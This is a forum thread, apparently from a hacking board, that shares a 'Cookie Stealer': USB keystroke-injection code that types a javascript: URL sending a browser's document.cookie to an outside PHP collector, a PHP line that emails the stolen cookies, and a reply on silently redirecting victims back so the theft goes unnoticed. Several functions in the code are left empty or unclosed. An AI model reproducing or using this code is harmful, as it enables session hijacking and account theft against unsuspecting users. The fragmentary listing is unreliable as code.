Jump to content

[Version 1] Cookie Stealer

Recommended Posts

Note: In the code make "java script" one word.


void setup() {
  delay(3500); // initial delay
  Keyboard.send_now(); delay(100);
  Keyboard.print("www.msn.com"); // site of cookie theft
  Keyboard.set_modifier(MODIFIERKEY_CTRL); // CTRL-L
  sendClearKeys(); delay(100);
  Keyboard.print("java script:document.location='http://site.com/savedatcookie.php?c='+escape(document.cookie)");

void loop() { /* na-da */ }

void sendClearKeys() {

void enter() {


mail("you@email.com", "Cookie Stealer - ".$_SERVER['HTTP_REFERER'], $_GET['c']); 

Edited by vulg4h
Link to comment
Share on other sites

Another variation of this code would be to just make the program press CTRL+L, and type the address.

Then, on the PHP script, redirect back to the original site with:

header("Location: " . $_SERVER['HTTP_REFERER']);

Use this on an existing webpage, to return back to it afterwards as if nothing had happened. (Only tested with firefox)

BTW, awesome piece of code!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...